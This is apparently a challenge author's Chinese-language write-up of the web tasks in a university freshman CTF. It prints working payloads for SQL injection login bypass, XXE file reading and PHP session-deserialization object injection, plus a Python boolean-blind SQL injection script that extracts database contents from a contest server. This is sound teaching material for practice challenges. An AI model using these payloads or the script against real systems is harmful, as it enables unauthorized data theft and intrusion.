0xGame2020出题笔记

南京邮电大学新生赛

学校有史以来第一次这么简单的新生赛,我承担平台的运维和web出题。

第一次出这么多题,虽然题目难度都不大,不过折腾和搞平台环境还是花了不少精力,目的在于三点:

  1. 希望CTF能在学校更普及
  2. 希望能找到有兴趣和有毅力的学弟学妹
  3. 题目很多都是来自入门文档的知识点,看过的一定很容易做出来,希望新同学能认真看资料

题目开源地址:https://github.com/Anthem-whisper/0xGame2020

所有题目环境:https://shimo.im/docs/8hkRHdRDdWyKycyK

因为是自费运营,还请师傅们不要恶意破坏环境

第一周

题目都是最简单的入门题目,也不涉及web漏洞,没什么好说的。主要考察同学们配置环境的动手能力。

第二周

出了一道很简单的SQL注入,

核心是要猜测登录时所拼接的sql语句:

$sql = "select username from user where username='". $username ."' and password='". $password ."';";

没有任何waf,在用户名处输入admin' or 1=1#搞定,由于#符号把后面的语句注视掉了,实际上sql语句实际上变成了:

select username from user where username='admin' or 1=1

1=1是永远成立的,所以必然能返回大于一行的数据,也就是 mysql_num_rows($res)>0,就可以获得flag

第三周

一道XXE,一道SQL布尔盲注

inject_me

XXE是去年NCTF2019的原题,我在web入门doc里面写过,并且题目地址和源码我都给了。

在给了hint的情况下这么少的解还是出乎我的意料

由HTTP响应里面返回的标签以及Content-Type是xml格式可以很轻易的百度到XXE这种攻击手段

XXE学习:https://xz.aliyun.com/t/3357

告诉了/flag,那么随手一个payload就出来了:

<?xml version="1.0"?>
<!DOCTYPE dy [
<!ENTITY dy SYSTEM "file:///flag">
]>
<user><username>&dy;</username><password>123</password></user>

close_eyes

布尔盲注很多同学用手打,本来目的是想叫你们去学python的,结果硬是手打出来了,下次出个128位的flag(bushi

本来想稍微加点waf的,后来不想出难了就没加,开SQLmap的莫得灵魂。

布尔盲注学习:https://xz.aliyun.com/t/7169#toc-2

这篇文章不仅仅讲了盲注也讲了其他的一些手法,值得钻研一番

思路就是语句为假的时候(比如我用户名输入1'||1=0#或者乱输一个用户名密码),页面回显“数据库里没你这号人,别想骗劳资.jpg”

为真的时候(比如我输入1'||1=1#)页面回显“数据库有你这号人,那又怎么着?”,根据回显情况的不同,我们就可以判断我们的condition究竟是真还是假。

1'||(condition)#

不断地改变condition就可以查到我们想要的数据;

举个例子:

1'||length(database())>1#

判断数据库名字的长度是不是大于1,页面返回“数据库有你这号人,那又怎么着?”,那么我们就可以确定数据库名字长度大于1。

类似的:

1'||ascii(substr(database(),1,1))=117#

可判断数据库第一个字母是ASCII码为117的字母,也就是‘u'。

也可以使用二分法进行盲注。

exp:

#python3
#wh1sper
import requests
host = 'http://59.110.157.4:30052/login.php'
def mid(bot, top):
    return (int)(0.5 * (top + bot))
def sqli():
    name = ''
    for j in range(1, 250):
        top = 126
        bot = 32
        while 1:
            babyselect = 'database()'#user
            #babyselect = '(select table_name from information_schema.tables where table_schema=database())'#user
            #babyselect = "(select group_concat(column_name) from information_schema.columns " \
            #            "where table_schema=database() and table_name='user')"#id,username,password
            #babyselect = "(select group_concat(password) from user)"#0xGame{blind_sqli_1s_not_hard}
            data = {
                "password": "1",
                "username": "1'||ascii(substr({},{},1))>{}#".format(babyselect, j, mid(bot, top))
            }
            r = requests.post(url=host, data=data)
            #print(r.text)
            print(data)
            if '数据库有你这号人' in r.text:#子查询为真
                if top - 1 == bot:
                    name += chr(top)
                    print(name)
                    break
                bot = mid(bot, top)
            else:
                if top - 1 == bot:
                    name += chr(bot)
                    print(name)
                    break
                top = mid(bot, top)
if __name__ == '__main__':
    sqli()

第四周

broken_motto

session反序列化,也是文档里面出现过的

>>学习链接,建议自己本地动手搭一个环境

在profile.php里面里面有一行注释:

//ini_set('session.serialize_handler','php_serialize');

这行代码使用的Session序列化选择器是php_serialize,注释之后默认使用的是php

两种选择器的不同的处理方式导致了session反序列化的漏洞的产生,存session的时候,存入php_serialize经过serialize()函数序列处理的数组

读取的时候php以键名 + 竖线 + 经过 serialize() 函数序列化的数据处理如果你注册的时候加一个|,他会把|前面的忽略掉,只反序列化后面的,就可以造成对象注入。

exp:

<?php
 
class info{
    public $admin;
    public $username;
    public $motto;
 
}
 
$pop = new info();
$pop->admin = 1;
echo serialize($pop);

payload:

|O:4:"info":3:{s:5:"admin";i:1;s:8:"username";N;s:5:"motto";N;}

这次比赛总的来说呢,还是很成功的,相信同学们都找到了自己心里一直想追求的方向,当然,比赛中也不乏表现突出的选手,希望你们能坚持下去,去追求更深的技术,更好的未来

updatedupdated2022-10-302022-10-30